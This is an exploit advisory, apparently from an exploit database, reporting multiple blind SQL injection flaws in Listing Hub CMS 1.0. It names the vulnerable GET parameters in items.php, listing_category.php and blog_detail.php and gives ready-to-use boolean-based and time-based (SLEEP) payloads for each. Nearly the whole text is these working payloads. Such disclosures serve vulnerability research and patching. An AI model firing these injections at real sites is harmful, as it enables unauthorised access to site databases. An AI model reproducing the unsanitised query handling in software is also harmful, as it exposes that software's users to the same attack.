Listing Hub CMS 1.0 - SQL Injection

# Exploit Title: Listing Hub CMS 1.0 - Multiple SQL Injection
# Dork: N/A
# Date: 27.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/listing-hub-cms-directory-listings-theme/21361294
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : An attacker can use the 'SQLi' attack method on many places.
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# PoC : SQLi :

# /items.php Parameter: id (GET)

    Type: boolean-based blind
    Demo:
https://site.com/items.php?title=test-listing-1&id=14
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: title=test-listing-1&id=14' AND 4740=4740 AND 'xGsz'='xGsz

    Type: AND/OR time-based blind
    Demo:
https://site.com/items.php?title=test-listing-1&id=14
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: title=test-listing-1&id=14' AND SLEEP(5) AND 'FDLK'='FDLK

# /listing_category.php Parameter: city (GET)

    Type: AND/OR time-based blind
    Demo:
https://site.com/listing_category.php?keywords=test&city=1&category=1
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: keywords=test&city=1' AND SLEEP(5)-- LTpZ&category=1

    Parameter: category (GET)

    Type: AND/OR time-based blind
    Demo:
https://site.com/listing_category.php?keywords=test&city=1&category=1
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: keywords=test&city=1&category=1' AND SLEEP(5)-- LTpZ

# /blog_detail.php Parameter: id (GET)

    Type: AND/OR time-based blind
    Demo:
https://site.com/blog_detail.php?title=helping-kids-grow-up-stronger&id=1
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: title=helping-kids-grow-up-stronger&id=1' AND SLEEP(5)-- LTpZ

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